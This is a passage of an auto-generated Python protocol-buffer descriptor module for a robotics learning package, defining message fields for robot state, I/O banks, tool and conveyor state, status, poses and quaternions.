name='sensor_in', full_name='robotics.learning.reach.RobotState.sensor_in', index=11,
number=10, type=8, cpp_type=7, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='digital_out', full_name='robotics.learning.reach.RobotState.digital_out', index=12,
number=11, type=8, cpp_type=7, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='analog_in', full_name='robotics.learning.reach.RobotState.analog_in', index=13,
number=12, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='analog_out', full_name='robotics.learning.reach.RobotState.analog_out', index=14,
number=13, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='tool_digital_in', full_name='robotics.learning.reach.RobotState.tool_digital_in', index=15,
number=14, type=8, cpp_type=7, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='tool_digital_out', full_name='robotics.learning.reach.RobotState.tool_digital_out', index=16,
number=15, type=8, cpp_type=7, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='tool_analog_in', full_name='robotics.learning.reach.RobotState.tool_analog_in', index=17,
number=16, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='tool_analog_out', full_name='robotics.learning.reach.RobotState.tool_analog_out', index=18,
number=17, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='board_temp_c', full_name='robotics.learning.reach.RobotState.board_temp_c', index=19,
number=18, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='robot_voltage_v', full_name='robotics.learning.reach.RobotState.robot_voltage_v', index=20,
number=19, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='robot_current_a', full_name='robotics.learning.reach.RobotState.robot_current_a', index=21,
number=20, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='board_io_current_a', full_name='robotics.learning.reach.RobotState.board_io_current_a', index=22,
number=21, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, json_name='boardIOCurrentA', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='tool_temp_c', full_name='robotics.learning.reach.RobotState.tool_temp_c', index=23,
number=22, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='tool_voltage_v', full_name='robotics.learning.reach.RobotState.tool_voltage_v', index=24,
number=23, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='tool_current_a', full_name='robotics.learning.reach.RobotState.tool_current_a', index=25,
number=24, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='joint_voltages_v', full_name='robotics.learning.reach.RobotState.joint_voltages_v', index=26,
number=25, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='joint_currents_a', full_name='robotics.learning.reach.RobotState.joint_currents_a', index=27,
number=26, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='joint_temps_c', full_name='robotics.learning.reach.RobotState.joint_temps_c', index=28,
number=27, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='robot_mode', full_name='robotics.learning.reach.RobotState.robot_mode', index=29,
number=28, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='program_counter', full_name='robotics.learning.reach.RobotState.program_counter', index=30,
number=29, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=b'\342\312\347\304\010\005B\003int', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='digital_bank', full_name='robotics.learning.reach.RobotState.digital_bank', index=31,
number=30, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='analog_bank', full_name='robotics.learning.reach.RobotState.analog_bank', index=32,
number=31, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='integer_bank', full_name='robotics.learning.reach.RobotState.integer_bank', index=33,
number=32, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='last_terminated_program', full_name='robotics.learning.reach.RobotState.last_terminated_program', index=34,
number=33, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=b'\350\276\343\330\t\001',
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=19638,
serialized_end=20664,
)
_DIGITALBANK = _descriptor.Descriptor(
name='DigitalBank',
full_name='robotics.learning.reach.DigitalBank',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='space', full_name='robotics.learning.reach.DigitalBank.space', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='output', full_name='robotics.learning.reach.DigitalBank.output', index=1,
number=2, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='start', full_name='robotics.learning.reach.DigitalBank.start', index=2,
number=3, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='state', full_name='robotics.learning.reach.DigitalBank.state', index=3,
number=4, type=8, cpp_type=7, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=20666,
serialized_end=20740,
)
_ANALOGBANK = _descriptor.Descriptor(
name='AnalogBank',
full_name='robotics.learning.reach.AnalogBank',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='space', full_name='robotics.learning.reach.AnalogBank.space', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='output', full_name='robotics.learning.reach.AnalogBank.output', index=1,
number=2, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='start', full_name='robotics.learning.reach.AnalogBank.start', index=2,
number=3, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='state', full_name='robotics.learning.reach.AnalogBank.state', index=3,
number=4, type=1, cpp_type=5, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=20742,
serialized_end=20815,
)
_INTEGERBANK = _descriptor.Descriptor(
name='IntegerBank',
full_name='robotics.learning.reach.IntegerBank',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='space', full_name='robotics.learning.reach.IntegerBank.space', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='output', full_name='robotics.learning.reach.IntegerBank.output', index=1,
number=2, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='start', full_name='robotics.learning.reach.IntegerBank.start', index=2,
number=3, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='state', full_name='robotics.learning.reach.IntegerBank.state', index=3,
number=4, type=3, cpp_type=2, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=20817,
serialized_end=20891,
)
_CONVEYORSTATE = _descriptor.Descriptor(
name='ConveyorState',
full_name='robotics.learning.reach.ConveyorState',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='is_object_detected', full_name='robotics.learning.reach.ConveyorState.is_object_detected', index=0,
number=1, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=b'\350\276\343\330\t\001',
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=20893,
serialized_end=20944,
)
_TOOLSTATE = _descriptor.Descriptor(
name='ToolState',
full_name='robotics.learning.reach.ToolState',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='vacuum_level_pa', full_name='robotics.learning.reach.ToolState.vacuum_level_pa', index=0,
number=1, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='on', full_name='robotics.learning.reach.ToolState.on', index=1,
number=2, type=8, cpp_type=7, label=1,
has_default_value=False, default_value=False,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=b'\350\276\343\330\t\001',
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=20946,
serialized_end=21002,
)
_STATUS = _descriptor.Descriptor(
name='Status',
full_name='robotics.learning.reach.Status',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='status', full_name='robotics.learning.reach.Status.status', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='script', full_name='robotics.learning.reach.Status.script', index=1,
number=8, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='error', full_name='robotics.learning.reach.Status.error', index=2,
number=4, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='progress', full_name='robotics.learning.reach.Status.progress', index=3,
number=5, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='message', full_name='robotics.learning.reach.Status.message', index=4,
number=6, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='code', full_name='robotics.learning.reach.Status.code', index=5,
number=7, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=21004,
serialized_end=21120,
)
_POSITION = _descriptor.Descriptor(
name='Position',
full_name='robotics.learning.reach.Position',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='x', full_name='robotics.learning.reach.Position.x', index=0,
number=1, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='y', full_name='robotics.learning.reach.Position.y', index=1,
number=2, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='z', full_name='robotics.learning.reach.Position.z', index=2,
number=3, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=b'\340\276\343\330\t\001',
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=21122,
serialized_end=21173,
)
_ROTATION = _descriptor.Descriptor(
name='Rotation',
full_name='robotics.learning.reach.Rotation',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='x', full_name='robotics.learning.reach.Rotation.x', index=0,
number=1, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='y', full_name='robotics.learning.reach.Rotation.y', index=1,
number=2, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='z', full_name='robotics.learning.reach.Rotation.z', index=2,
number=3, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='w', full_name='robotics.learning.reach.Rotation.w', index=3,
number=4, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=b'\340\276\343\330\t\001',
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=21175,
serialized_end=21237,
)
_SCALE = _descriptor.Descriptor(
name='Scale',
full_name='robotics.learning.reach.Scale',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='x', full_name='robotics.learning.reach.Scale.x', index=0,
number=1, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='y', full_name='robotics.learning.reach.Scale.y', index=1,
number=2, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='z', full_name='robotics.learning.reach.Scale.z', index=2,
number=3, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=21239,
serialized_end=21279,
)
_USERLABEL = _descriptor.Descriptor(
name='UserLabel',
full_name='robotics.learning.reach.UserLabel',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='oracle_ts', full_name='robotics.learning.reach.UserLabel.oracle_ts', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, json_name='oracleTS', file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='exp', full_name='robotics.learning.reach.UserLabel.exp', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='origin', full_name='robotics.learning.reach.UserLabel.origin', index=2,
number=3, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='origin_type', full_name='robotics.learning.reach.UserLabel.origin_type', index=3,
number=4, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='position', full_name='robotics.learning.reach.UserLabel.position', index=4,
number=5, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='rotation', full_name='robotics.learning.reach.UserLabel.rotation', index=5,
number=6, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='user_label', full_name='robotics.learning.reach.UserLabel.user_label', index=6,
number=7, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='x', full_name='robotics.learning.reach.UserLabel.x', index=7,
number=8, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='y', full_name='robotics.learning.reach.UserLabel.y', index=8,
number=9, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=b'\370\276\343\330\t\001\340\276\343\330\t\001',
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=21282,
serialized_end=21612,
)
_POSE2D = _descriptor.Descriptor(
name='Pose2d',
full_name='robotics.learning.reach.Pose2d',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='x', full_name='robotics.learning.reach.Pose2d.x', index=0,
number=1, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='y', full_name='robotics.learning.reach.Pose2d.y', index=1,
number=2, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=b'\360\276\343\330\t\001\202\277\343\330\t\006Pose2D',
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=21614,
serialized_end=21664,
)
_VEC3D = _descriptor.Descriptor(
name='Vec3d',
full_name='robotics.learning.reach.Vec3d',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='x', full_name='robotics.learning.reach.Vec3d.x', index=0,
number=1, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='y', full_name='robotics.learning.reach.Vec3d.y', index=1,
number=2, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='z', full_name='robotics.learning.reach.Vec3d.z', index=2,
number=3, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=b'\360\276\343\330\t\001\202\277\343\330\t\005Vec3D',
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=21666,
serialized_end=21725,
)
_QUATERNION3D = _descriptor.Descriptor(
name='Quaternion3d',
full_name='robotics.learning.reach.Quaternion3d',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='w', full_name='robotics.learning.reach.Quaternion3d.w', index=0,
number=1, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='x', full_name='robotics.learning.reach.Quaternion3d.x', index=1,
number=2, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='y', full_name='robotics.learning.reach.Quaternion3d.y', index=2,
number=3, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='z', full_name='robotics.learning.reach.Quaternion3d.z', index=3,
number=4, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=b'\360\276\343\330\t\001\202\277\343\330\t\nQuaternion',
is_extendable=False,
syntax='proto2',
extension_ranges=[],
oneofs=[
],
serialized_start=21727,
serialized_end=21809,
)
_DEVICEDATAREF = _descriptor.Descriptor(
name='DeviceDataRef',
full_name='robotics.learning.reach.DeviceDataRef',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='ts', full_name='robotics.learning.reach.DeviceDataRef.ts', index=0,
number=1, type=11, cpp_type=10, label=1,
